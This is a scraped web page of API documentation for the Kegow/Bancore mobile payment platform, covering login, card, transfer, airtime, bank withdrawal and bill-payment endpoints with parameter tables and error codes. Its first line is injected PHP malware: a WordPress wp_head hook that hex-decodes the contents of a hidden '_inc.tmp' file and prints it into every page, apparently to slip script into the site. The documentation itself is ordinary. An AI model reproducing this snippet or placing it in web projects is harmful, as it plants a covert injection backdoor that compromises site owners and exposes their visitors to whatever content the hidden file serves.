if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } }
https://kegow.bancore.com/getit/api/merchant/registration.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account ID |
Required |
phone |
Mobile number in international format |
Required |
name |
User name |
Required |
address |
User address |
Required |
city |
User city |
Required |
country |
User country in ISO code format (ex. Nigeria – NG) |
Required |
zip |
Zip Code |
Required |
region |
Region code in ISO format (LA for Lagos) |
Optional |
customerID |
National ID |
Optional |
ip |
User IP address |
Optional |
|
User email |
Optional |
encKey |
SHA-256(merchantID + phone + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code in case of successful transaction will be APPROVED = “30” |
result |
phone |
User phone number |
phone |
encKey |
SHA-256(merchantID + phone + result + merchantPrivateKey) |
encKey |
errorText |
If we have some errors, add supported text. |
errorText |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Operation successful |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
200 |
USER_IP_TRIES_EXCEEDED |
Customer has exceeded failed attempts and has been blocked |
202 |
UNEXPECTED_MERCHANT_IP |
Merchant IP is unknown |
https://kegow.bancore.com/getit/api/mobile/authorize.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
client_id |
Unique client identifier provided by client |
Required |
phone |
User phone number in international format starting with country code |
Required |
password |
SHA-256 (pin code value entered on client side) |
Required |
enckey |
SHA256(merchant_id + client_id + phone + password + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code in case of successful transaction will be APPROVED = “30” |
required |
token |
Access token value |
optional |
needChangePassword |
true or false If true request customer to set permanent pin. |
optional |
https://kegow.bancore.com/getit/api/mobile/authorize.do?merchant_id=83&client_id=1234567890&password=03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4&phone=2347083692514&encKey=a61814bd2526ddae860077832da2d75c4b369e79442bd1b61dbd2822309f9302
result=30&token=nMQVcZ0&needChangePassword=false
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Operation successful |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
101 |
MOBILE_NUMBER_ERROR |
Mobile number is wrong |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
103 |
PIN_ERROR |
PIN code is wrong |
https://kegow.bancore.com/getit/api/mobile/updateToken/call.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account id. Provided by Bancore. |
Required |
client_id |
Unique client identifier provided by client |
Required |
phone |
Customer phone number |
Required |
access_token |
Token generated previously |
Required |
enckey |
SHA-256(merchant_id+access_token+phone+client_id+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code in case of successful transaction will be APPROVED = “30” |
required |
errorMessage |
Error description |
optional |
access_token |
Renewed access token |
optional |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
https://kegow.bancore.com/getit/api/mobile/pin/set.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
pin |
Customer pin code |
Required |
newPin |
New pin code |
Required |
access_token |
Token generated previously |
Required |
enckey |
SHA-256(merchant_id+access_token+pin+newPin+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code in case of successful transaction will be APPROVED = “30” |
required |
errorMessage |
Error description |
optional |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
101 |
MOBILE_NUMBER_ERROR |
Mobile number is wrong |
103 |
PIN_ERROR |
PIN code is wrong |
415 |
WRONG_TOKEN |
Token value is wrong |
https://kegow.bancore.com/getit/api/mobile/profile/get.do
Parameter |
Description |
Type |
---|---|---|
access_token |
Unique token generated |
Required |
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
encKey |
Encryption key. SHA-256(merchant_id+ access_token+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
address |
Customer’s address |
Required |
country |
Customer’s country |
Required |
|
Customer’s email address |
Required |
firstName |
Customer’s first name |
Required |
lastName |
Customer’s last name |
Required |
zip |
Zip code |
Required |
city |
Customer’s city |
Required |
dateOfBirth |
Customer’s date of birth |
Required |
subscribed |
Customer’s subscription |
Optional |
address2 |
Customer’s address 2 |
Optional |
fullAddress |
Customer’s full address |
Optional |
cityDistrict |
Customer’s city district |
Optional |
stateCountyRegion |
Customer’s region code |
Optional |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
415 |
WRONG_TOKEN |
Token value is wrong |
https://kegow.bancore.com/getit/api/mobile/profile/update.do
Parameter |
Description |
Type |
---|---|---|
access_token |
Unique token generated |
Required |
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
address |
Customer’s address |
Required |
country |
Customer’s country |
Required |
|
Customer’s email address |
Required |
firstName |
Customer’s first name |
Required |
lastName |
Customer’s last name |
Required |
zip |
Zip code |
Required |
city |
Customer’s city |
Required |
dateOfBirth |
Customer’s date of birth |
Required |
subscribed |
Customer’s subscription |
Required |
address2 |
Customer’s address 2 |
Optional |
fullAddress |
Customer’s full address |
Optional |
cityDistrict |
Customer’s city district |
Optional |
stateCountyRegion |
Customer’s region code |
Optional |
encKey |
SHA-256(encKey= SHA-256(merchant_id+access_token+ email+ dateOfBirth+ merchantPrivateKey)) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
415 |
WRONG_TOKEN |
Token value is wrong |
https://kegow.bancore.com/getit/api/mobile/pin/restore.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
phone |
Customer phone number |
Required |
encKey |
Encryption key. SHA-256(merchant_id+phone+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
https://kegow.bancore.com/getit/api/mobile/pin/restore.do?phone=2347083698527&merchant_id=87&encKey=0b40482ef928ae3fdffae0eaa94be10aef95139e5ee13f436d3d5397b39180c9
result=30
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
101 |
MOBILE_NUMBER_ERROR |
Mobile number is wrong |
https://kegow.bancore.com/getit/api/mobile/topup/voucher.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
voucher |
19 digits number |
Required |
encKey |
Encryption key SHA-256(merchantID + access_token+ vocuher + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
transactID |
Transaction id |
Optional |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
20 |
INSUFFICIENT_FUNDS |
Not enough funds for requested operation |
30 |
SUCCCESS |
Successful Payment |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
96 |
INVALID_AMOUNT |
Invalid amount for the operation |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
113 |
CARDID_TOKEN_WRONG |
Card id differs from account represented by token |
116 |
KYC_PAYMENT_LIMIT |
Payment limit is exceeded for KYC level |
200 |
USER_IP_TRIES_EXCEEDED |
Customer has exceeded failed attempts and has been blocked |
202 |
UNEXPECTED_MERCHANT_IP |
Merchant IP is unknown |
203 |
INACTIVE_MERCHANT_ACCOUNT |
The merchant account is not active |
300 |
FEE_NOT_FOUND |
Fee value not available |
400 |
APPLICATION_UPDATE |
The application is not available |
415 |
WRONG_TOKEN |
Token value is wrong |
https://kegow.bancore.com/getit/api/mobile/cards/call.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
encKey |
Encryption key. SHA-256(merchant_id+access_token+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or fail result code |
Required |
errorMessage |
Error description |
Optional |
cardsList |
json format: id,amount,currency,cardNumber, type, defaultCard |
Optional |
result=30&cardsList=[{“”id””:4737684,””amount””:””172272.64″”,””currency””:””XOF””,””cardNumber””:”” 1841″”,””type””:””VIRTUAL””},{“”id””:4738372,””amount””:””324.92″”,””currency””:””XOF””,””cardNumber””:”” 5842″”,””type””:””VIRTUAL””}]
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
https://kegow.bancore.com/getit/api/mobile/getCard.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
card_id |
Unique identifier of the card returned in card list |
Required |
cardNumberPart |
false – returns masked PAN, CVV, exp date true – returns remaining digits of masked PAN |
Required |
encKey |
Encryption key. SHA-256(merchant_id+card_id+access_token+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or fail result code |
Required |
errorMessage |
Error description |
Required |
availableBalance |
balance available on the card |
Required |
currency |
currency of the card |
Required |
cardHolderName |
cardholder name |
Required |
cvv |
secret code of the card |
Required |
cardNumber |
masked PAN |
Required |
expiryDateMonth |
month of expiry date |
Required |
expiryDateYear |
year of expiry date |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
415 |
WRONG_TOKEN |
Token is wrong |
https://kegow.bancore.com/getit/api/mobile/transactions.do
Parameter |
Description |
Type |
---|---|---|
access_token |
Unique token generated |
Required |
merchantID |
Merchant account id. Provided by Bancore. |
Required |
card_id |
Card identifier returned in card list request |
Required |
from_date |
Start date for transactions to be extracted |
Optional |
to_date |
End date for transactions to be extracted |
Optional |
encKey |
Encryption key. SHA-256(merchant_id+access_token+card_id+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
transactions |
list of transactions in JSON |
Required |
total |
total amount of operations |
Required |
result |
Success or fail result code |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
415 |
WRONG_TOKEN |
Token is wrong |
https://kegow.bancore.com/getit/api/mobile/transfer/owncard.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
amount |
Amount to be transferred in smallest monetary units (amount*100) |
Required |
currency |
Card currency |
Required |
sourceCard |
Source card id |
Required |
destinationCard |
Destination card id |
Required |
encKey |
Encryption key. SHA- 256 (merchantID + access_token + amount + sourceCard + destinationCard + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
transactionID |
Unique identifier of the transaction |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
20 |
INSUFFICIENT_FUNDS |
Not enough funds for requested operation |
30 |
SUCCCESS |
Successful Payment |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
96 |
INVALID_AMOUNT |
Invalid amount for the operation |
97 |
AMOUNT_TOO_BIG |
Amount is too big to be accepted by the destination phone number |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
113 |
CARDID_TOKEN_WRONG |
Card id differs from account represented by token |
116 |
KYC_PAYMENT_LIMIT |
Payment limit is exceeded for KYC level |
200 |
USER_IP_TRIES_EXCEEDED |
Customer has exceeded failed attempts and has been blocked |
202 |
UNEXPECTED_MERCHANT_IP |
Merchant IP is unknown |
203 |
INACTIVE_MERCHANT_ACCOUNT |
The merchant account is not active |
400 |
APPLICATION_UPDATE |
The application is not available |
415 |
WRONG_TOKEN |
Token value is wrong |
https://kegow.bancore.com/getit/api/mobile/transfer/othercard.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
amount |
Amount to be transferred in smallest monetary units (amount*100) |
Required |
currency |
Card currency |
Required |
sourceCard |
Source card id |
Required |
destinationPhone |
Destination phone number in international format (country code followed by phone number e.g. |
Required |
encKey |
Encryption key. SHA- 256 (merchantID + access_token + amount + sourceCard + destinationPhone + |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
transactionID |
Unique identifier of the transaction |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
20 |
INSUFFICIENT_FUNDS |
Not enough funds for requested operation |
30 |
SUCCCESS |
Successful Payment |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
96 |
INVALID_AMOUNT |
Invalid amount for the operation |
97 |
AMOUNT_TOO_BIG |
Amount is too big to be accepted by the destination phone number |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
113 |
CARDID_TOKEN_WRONG |
Card id differs from account represented by token |
116 |
KYC_PAYMENT_LIMIT |
Payment limit is exceeded for KYC level |
200 |
USER_IP_TRIES_EXCEEDED |
Customer has exceeded failed attempts and has been blocked |
202 |
UNEXPECTED_MERCHANT_IP |
Merchant IP is unknown |
203 |
INACTIVE_MERCHANT_ACCOUNT |
The merchant account is not active |
400 |
APPLICATION_UPDATE |
The application is not available |
415 |
WRONG_TOKEN |
Token value is wrong |
https://kegow.bancore.com/getit/api/mobile/fee.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
amount |
Amount of the operation |
Required |
access_token |
Unique token generated |
Required |
currency |
Currency of the operation |
Required |
type |
Type of the operation: TRANSFER_VIRTUAL_TO_VIRTUAL, TRANSFER_VIRTUAL_TO_PLASTIC, TRANSFER_PLASTIC_TO_VIRTUAL – card to card transfer TRANSFER_VIRTUAL_TO_VIRTUAL_OTHER_ACCOUNT, TRANSFER_VIRTUAL_TO_PLASTIC_OTHER_ACCOUNT, TRANSFER_PLASTIC_TO_VIRTUAL_OTHER_ACCOUNT, TRANSFER_PLASTIC_TO_PLASTIC_OTHER_ACCOUNT – transfer to a mobile phone number TOPUP_VIRTUAL_BY_VIRTUAL, TOPUP_PLASTIC_BY_VIRTUAL, TOPUP_VIRTUAL_BY_VIRTUAL_NEW (used when card list was returned empty) – voucher redemption QUICK_TELLER_BILL_PAYMENT_BY_PLASTIC |
Required |
encKey |
Encryption key. SHA-256 (merchantID + access_token + amount + type + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
totalAmount |
total amount of operation |
Required |
feeAmount |
fee for operation |
Required |
result |
Success or failure result code |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
96 |
INVALID_AMOUNT |
Invalid amount for the operation |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
300 |
FEE_NOT_FOUND |
Fee value not available |
415 |
WRONG_TOKEN |
Token is wrong |
Purchase airtime recharge for user phone number. Funds will be loaded to user phone account.
https://kegow.bancore.com/getit/api/mobile/airtime.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
operator |
Mobile phone operator name (MTN-MTN; ETST-9Mobile; AIRT-AirTel; GLO-GLO; VISAF-Visafone Nigeria; MLINK-MultiLinks; MTNHYNET-MTN Hynet; MTNBBSERV-MTN Blackberry; MTNDSERV-MTN Data; MTNPOSP-MTN Postpaid; ETSTDATA-9Mobile Data; AIRTDATA-Airtel Data; GLODATA-Globacom Data; LCC-LCC Toll) |
Required |
destinationNumber |
Mobile phone number of recipient of airtime in international format (234xxxxxxxxxx) |
Required |
cardId |
Card identifier returned in card list request |
Required |
amount |
Amount in smallest monetary unit |
Required |
currency |
Currency code (e.g NGN) |
Required |
orderId |
Unique identifier of the transaction |
Required |
encKey |
SHA-256(merchantID + destinationNumber + amount + orderID + cardId + access_token + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code in case of successful transaction will be APPROVED = “30” |
Required |
errorMessage |
Description of error returned |
Optional |
transactionId |
Transaction ID of the operation |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
90 |
INVALID_ORDER_ID |
OrderID must be unique |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
415 |
WRONG_TOKEN |
Token is wrong |
https://kegow.bancore.com/getit/api/mobile/airtime/operators.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
Parameter |
Description |
Type |
---|---|---|
Parameter |
Description |
Type |
result |
Success or fail result code |
Required |
errorMessage |
Error description |
Optional |
operators |
List of mobile phone operators is returned e.g. (MTN-MTN; ETST-9Mobile; AIRT-AirTel; GLO-GLO; VISAF-Visafone Nigeria; MLINK-MultiLinks; MTNHYNET-MTN Hynet; MTNBBSERV-MTN Blackberry; MTNDSERV-MTN Data; MTNPOSP-MTN Postpaid; ETSTDATA-9Mobile Data; AIRTDATA-Airtel Data; GLODATA-Globacom Data; LCC-LCC Toll) |
Optional |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
https://kegow.bancore.com/getit/api/mobile/verifybank.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
bankAccountNumber |
Bank account number |
Required |
bankCode |
6 digits code of the bank returned in List of Banks method |
Required |
encKey |
SHA-256(merchant_id + access_token + bankCode + bankAccountNumber + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or fail result code |
Required |
accountIdentificationName |
Account Information |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
96 |
INVALID_AMOUNT |
Invalid amount for the operation |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
300 |
FEE_NOT_FOUND |
Fee value not available |
412 |
AMOUNT_ERROR |
Amount is wrong |
415 |
WRONG_TOKEN |
Token is wrong |
https://kegow.bancore.com/getit/api/mobile/withdraw/bank.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
sourceCard |
Card identifier returned in card list request |
Required |
amount |
Amount in smallest monetary unit |
Required |
currency |
Currency code (e.g NGN) |
Required |
bankAccountNumber |
Bank account number |
Required |
bankSortCode |
6 digits code of the bank returned in List of Banks method |
Required |
orderID |
Unique identifier of the transaction |
Required |
encKey |
SHA-256(merchant_id + access_token + orderID + amount + currency + bankAccountNumber+ bankSortCode + |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or fail result code |
Required |
errorMessage |
Error description |
Optional |
transactionId |
Transaction ID of the operation |
Required |
Code |
Value |
Description |
---|---|---|
Code |
Value |
Description |
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
96 |
INVALID_AMOUNT |
Invalid amount for the operation |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
300 |
FEE_NOT_FOUND |
Fee value not available |
412 |
AMOUNT_ERROR |
Amount is wrong |
415 |
WRONG_TOKEN |
Token is wrong |
https://kegow.bancore.com/getit/api/mobile/bank/accounts.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
bankCode |
Always set to 1 |
|
encKey |
SHA-256(merchant_id + access_token + bankCode + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or fail result code |
Required |
bank codes |
list of bank codes in json |
Required |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
415 |
WRONG_TOKEN |
Token is wrong |
https://kegow.bancore.com/getit/api/mobile/giftcard/create.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
amount |
Amount in smallest monetary unit |
Required |
currency |
Currency code (e.g NGN) |
Required |
sourceCard |
Card identifier returned in card list request |
Required |
destinationPhone |
Mobile phone number of recipient of gift card in international format (234xxxxxxxxxx) |
Required |
deliveryDate |
Date when gift card should be delivered |
Required |
|
Email address of the recipient of gift card |
Required |
firstName |
First name of the recipient of gift card |
Required |
lastName |
Last name of the recipient of gift card |
Required |
description |
Description text that will be sent to the recipient |
Required |
encKey |
Encryption key SHA-256(merchantID + access_token + amount + sourceCard + destinationPhone + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
transactID |
Transaction id |
Optional |
https://kegow.bacore.com/getit/api/mobile/bill/create.do
Parameter |
Description |
Type |
---|---|---|
requestMoney |
ture/false Use “true” if money request is sent Use “false” for invoice to be created |
Required |
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
descriptions |
Purpose of payment |
Required |
amount |
Amount in smallest monetary unit |
Required |
currency |
Currency code (e.g NGN) |
Required |
receiverPhone |
Mobile phone number of recipient of the request in international format (234xxxxxxxxxx) |
Required |
access_token |
Unique token generated |
Required |
encKey |
Encryption key SHA-256(merchant_id+ access_token+ receiverPhone+ currency+ mechantPrivateKey) |
Required |
receiverAddress |
Address of the recipient |
Optional |
referenceText |
Unique text created by user |
Optional |
referenceNumber |
Unique number assigned by user |
Optional |
senderAddress |
Address of the sender |
Optional |
senderAddress2 |
Address of the sender |
Optional |
senderCompanyName |
Company name for the invoice |
Optional |
senderContactPerson |
Contact person for the invoice |
Optional |
senderPostalCode |
Postal code for the invoice |
Optional |
senderCountryCode |
Country code for the invoice |
Optional |
receiverName |
Name of the recipient |
Optional |
VATNumber |
VAT Number of the company |
Optional |
VATPercent |
VAT value in percentage |
Optional |
VATEnabled |
true/false |
Optional |
sendSMS |
true/false for SMS notification to be seent to a recipient. The SMS sending has a cost and user’s account will be chanrged |
Optional |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
errorText |
Error text |
Required |
billId |
ID of the request/invoice |
Required |
https://kegow.bancore.com/getit/api/mobile/bill/pay.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
billId |
Id of the request/invoice to be paid |
Required |
cardId |
Id of the card to be used for payment |
Required |
requestMoney |
ture/false Use “true” if money request is sent Use “false” for invoice to be created |
Required |
encKey |
Encryption key SHA-256(merchant_id +access_token+ billId+ cardId+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
errorText |
Error description |
Required |
billId |
ID of the request/invoice |
Required |
https://kegow.bancore.com/getit/api/mobile/bill/list.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
encKey |
Encryption key SHA-256(merchant_id +access_token+ billId+ cardId+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
errorText |
Error description |
Optional |
bills |
Bill paid |
Optional |
https://kegow.bancore.com/getit/api/mobile/quickteller/getCategories.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
encKey |
Encryption key SHA-256(merchant_id +access_token+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
categories |
json with list of categories will be returned |
Required |
https://kegow.bancore.com/getit/api/mobile/quickteller/getBillers.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
category_id |
ID of the category selected by user in the first step of Bill Payment process |
Required |
encKey |
Encryption key SHA-256(merchant_id +access_token+ category_id+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
billers |
json with list of billers for specified category will be returned |
Required |
https://kegow.bancore.com/getit/api/mobile/quickteller/getProducts.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
biller_id |
ID of the biller selected by user in the second step of Bill Payment process |
Required |
encKey |
Encryption key SHA-256(merchant_id+ access_token+ category_id+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
products |
json with list of products for specified biller will be returned |
Required |
https://kegow.bancore.com/getit/api/mobile/quickteller/pay.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
product_id |
Payment code returned under getProducts.do for the product that |
Required |
customer_id |
Customer details for the selected product |
Required |
card_id |
ID of the card to be used for payment |
Required |
